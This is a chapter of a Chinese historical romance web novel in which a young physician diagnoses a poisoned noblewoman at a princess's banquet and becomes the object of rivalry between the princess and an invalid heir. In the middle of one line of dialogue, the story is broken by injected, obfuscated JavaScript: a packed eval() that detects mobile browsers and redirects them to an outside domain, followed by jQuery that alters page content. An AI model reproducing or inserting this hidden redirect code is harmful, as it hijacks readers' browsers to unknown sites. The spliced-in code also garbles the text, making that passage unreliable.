赵绥宁发现,在某些时刻,郁净之的名字格外好使。有了侍女的背书,众人如鸟兽散,和赵绥宁顿时拉开几尺,仿佛离得近了就会沾染上什么污秽东西。
她没了束缚,三步并作两步,走上前去,笑眯眯地看向公主府的医师、一位身材高挑削瘦的女人,向她借了银针用。
女人冷语道:“姑娘,你想怎么看诊?”
赵绥宁蹲在谷彤旁边,用手探了探鼻息,还活着。据她观察,谷彤方才没有呕吐或者腹泻的症状,坐在那里仅有抽搐和后来的休克。她们现在市面上流通的毒有这种情况的无非那几个,砒霜、乌头、钩吻、马钱子。
她把借来的银针插进桌面上的食物和酒中,一个一个试过。
有人窃窃私语道:“不就是银针试毒吗……我们都知道的东西,不会是装神弄鬼想在公主面前邀功吧?”
“那也得看她能不能装起来,否则,谷彤若真救不回来,在公主府出了事,单公主殿下就不会放过这医师,更别提中书令一家了。”那人压低了声音,“皇亲国戚,有个姐姐在宫里当皇后呢。”
银针拔出来,没有变黑,可以暂时排除砒霜中毒的可能性,至于高纯度砒霜,技术要求太高了,如果真能炼制出来,用来毒害一个小姑娘,实在有些匪夷所思了。
她探头,手指覆在谷彤下颚,轻轻一捏,谷彤的嘴巴张开了一个小口子,没有角弓反张和牙关紧咬的状态,不是马钱子。
谷彤面色苍白,口唇发绀,应是气血衰败之象。皮肤表面没有斑痕溃烂,不是接触性中毒。赵绥宁捋了下谷彤有些凌乱的发丝,有轻微脱发现象,腰部略微臃肿,按下去凹陷不起,许是肾脏出了问题。
尺脉沉弱,甚至脉微欲绝。口带苦味……
赵绥宁突然想起来之前刚逃出京那会儿,在南方东躲西藏的日子,有人中了毒,也是这种症状,那时她还向其询问,得知是误食了……
她拧眉沉思,努力回忆着那段时间的记忆,手指尖无意识地捻着银针根部飞快地转起来。
丝毫没有察觉到周围更加安静了,连私语声都消失殆尽。
嵇灵韵摆手示意免了礼数,瞧着蹲在地上思考的小姑娘,眯起眼睛。侧脸倒是有几分相似。再然后,嵇灵韵看到了赵绥宁的小动作,瞳孔微缩,先前略带几分薄怒的面容冷下来,目光炯炯,射向郁净之。
哪成想郁净之已经手动推着轮椅靠近,在赵绥宁身旁坐着,一动不动地盯着她头顶乌黑的发髻,看得入了神。
嵇灵韵用团扇掩面,极度无语地翻了个白眼。
“是雷公藤!”赵绥宁叫出声,惊喜地直起身子想要跳起来去拿药,完全忘了自己现在正窝在谷彤胳膊下面。蹦到一半,头顶遇到了障碍物,一股阻力轻柔地将她摁在原地,赵绥宁疑惑地抬头。
“当心。”郁净之缓慢地撤开手,提醒道。
她眨两下眼睛,睫毛扑扇着,歪头道:“好。”
突然,她看到郁净之身后的嵇灵韵,嘴巴动了起来,还好回神快,只来得及说出:“公主——”干娘两个字被她咽在口中。
“公主殿下金安。”赵绥宁恭恭敬敬地行了礼,接着迅速说,“殿下,世子,谷小姐是中毒了,应该是误食了只在南方生长的雷公藤这种植株。”
“雷公藤是断肠草的一种,根皮形似山药,京城罕有,我也是偶尔在南方遇到过才知道。”她正色道,“看症状吃了有一段时间了,毒已至中后期。当务之急是先给小姐服用牛黄丸,待醒过来再辅以参汤补气,先吊着性命。”
“去取牛黄丸。”嵇灵韵示意侍女跟着府医一起,然后转向赵绥宁,问:“有一段时间了?不是在公主府中的毒?”
赵绥宁点头,道:“雷公藤初中毒一般是腹泻、呕吐,大量食入才会有昏迷休克的严重症状。可是先前谷小姐宴上只喝了一两口酒,不至于如此。”
“去请谷大人来,说本公主有事相谈。”嵇灵韵让小厮前去告知情况。
“至于你——”嵇灵韵走到赵绥宁身前,仔细打量着她的面庞,说,“很好,做得不错。”
她的肩被嵇灵韵轻拍着,她听见嵇灵韵问她,“你想要什么奖励?”
嵇灵韵若有所思道:“不若本公主送你几个人?”
“人?”赵绥宁有点懵。
郁净之端坐着,右手蜷在袖中,静静握成拳。
嵇灵韵笑道:“嗯。人。”她朝郁净之看了眼,之后挥挥手,点着席间一众伶人,说:“你,你,还有你,过来。”
被嵇灵韵点到的三个伶人顺服地上前。
一个是可亲的少年,扬着笑,露出小虎牙,甜甜叫道:“殿下。”
一个是温柔知礼的翩翩公子,长发束着,抱着琴,微微弯腰。
还有一个更加独特,带着异域气息,皮肤是健康的小麦色,身上布料很少,但坠着各种链圈,浓眉大眼。
“送你了,小医师。”嵇灵韵露出一抹狡黠的笑。
话音未落,郁净之开口,冷冷道:“殿下,这些个人,赵岁怕是无福消受。”
“恕国公府太小,装不下他们。”
嵇灵韵回道:“是国公府小还是你心眼小,郁世子?”
“若国公府放不下,就让小医师待在公主府住着,两全其美。”嵇灵韵和蔼地摸了摸赵绥宁的头,“正好公主府很缺小医师这样医术高超的人。”
赵绥宁讪讪低头,心想,干娘人真是好,对有用的人不拘一格,还送美男给她,只可惜她现在确实没心思想这些……
“小医师,你说呢?”嵇灵韵问她。
赵绥宁绞尽脑汁,不想拒绝干娘的好意,又怕郁净之携小鼠以令自己,左右为难。
“赵医师……”郁净之虚弱地咳起来,“到底还是要主人亲自养着才好,旁人养的,总担心短缺了什么,你说是不是?”
“竹影没有养小鼠的经验。”他脆弱地捂着胸口,“况且,我身染重疾,情绪不定,只有你在,才能安心片刻……”
郁净之仰头,巴巴儿地望着赵绥宁,说:“公主殿下不缺人伺候,你若来了,我只怕少了个知冷知热的人。”
赵绥宁和郁净之确实是知冷知热的,仅仅字面意义上。她还是很认可这句话的,尤其是,她总觉得郁净之无处不透露出一股极强的脆弱感,仿佛在告诉她,他需要她。
这种被需要感极大填补了赵绥宁心里某个小小的空缺。
嵇灵韵冷哼,评价道:“勾栏做派。”
郁净之不理会,只专注看着赵绥宁,眼中闪着光。
赵绥宁想了想,还是婉拒了公主殿下:“殿下,我有别的更想要的,想求您。”
“我知道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920229|177030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”嵇灵韵说,“你想做的事我可以帮你,但——”
“你也要有足够的实力,否则德不配位,无人信服。”嵇灵韵看着吃了牛黄丸逐渐恢复意识的谷彤,说,“小医师,我认可你的医术,仅此而已。”
“明日府上,我给你个机会。”
“想要别的,就向我证明,你可以。”
赵绥宁郑重点头,道:“多谢殿下。”
谷彤渐渐有了动静,醒来第一件事便是闹。
“我,我怎么在这里!”
嵇灵韵居高临下地看着谷彤,说:“谷小姐,你以为自己在哪里?”
“是这位医师救了你,不然你恐怕危在旦夕了。”和谷彤相熟的一位小姐搂着谷彤的背,感激地说。
谷彤却虚弱地睁开眼,恨恨盯着赵绥宁,叫道:“我根本没事,只是不胜酒力醉了,谁让你多管闲事的!”
赵绥宁扬脸,实话实说:“谷小姐,你自己的身体自己清楚,以这样的状态,你根本活不了三天。”
“我不知你的想法,但我清楚,活着才是最重要的。”
谷彤挣扎着起身,举起手臂,想打赵绥宁,含糊说道:“我活不活跟你有什么关系!”
郁净之将赵绥宁向后挡了挡。
赵绥宁轻易地躲过,向嵇灵韵说:“殿下,可以问问谷小姐的侍女,想必她们会知道中毒缘由。”
“毕竟,她们并不能像谷小姐这般,随心所欲。”
虽然审问无权势的侍女这招不太好,但胜在获取消息快。
没待多久,公主遣散了宾客,准备闭上门处理谷彤的事。
赵绥宁也准备走,听见公主说:“小医师,若在国公府待得不顺意,来本公主这里。”
她拱手谢恩。
完了发现,郁净之还在原地。
她下意识想推着郁净之回去,手还没放上去,就被郁净之转着轮躲开。
也不怪她这样,在国公府待了几天,郁净之每每和她相处,总是赶了人出去,兴许是不喜欢被人看到他的腿,或者听到什么传出去。没办法,她只能顺手推着不太方便的人到处走。
仆童见状上前要推轮椅,又被郁净之冷冷看了眼,止住脚。
她不甚理解郁净之的想法,不要她推,也不要仆童推,难不成是想留在公主府?
郁净之看着她,哼声:“我自己动。走,回府。”
她点头,安静地跟在后面,突然悟了,原来,郁净之这么好强啊。
今晚的郁净之十分奇怪。
无论是刚才在公主府还是现在回到国公府,她都不太清楚郁净之心里到底在想什么。不过也正常,如果她真的能懂,那她也离不正常的人更进一步了。
“摸摸看。”郁净之从书桌上拿起那副绣了一半金莲纹样的红绸,递给赵绥宁。
她不明所以地接住,手快速且敷衍地划拉两下。
“让你摸,不是划。”
赵绥宁“哦”了声,心思早就飘远去找她的小鼠们了,不甚在意地摸了两下。
“舒服吗?”郁净之问。
“还行。”她应道。
突然手上的绣样被一股力道夺走,赵绥宁回过神来,看见郁净之低着头,捧着绣样,离得远远的。
“我自己绣的。”
半晌,郁净之闷闷道。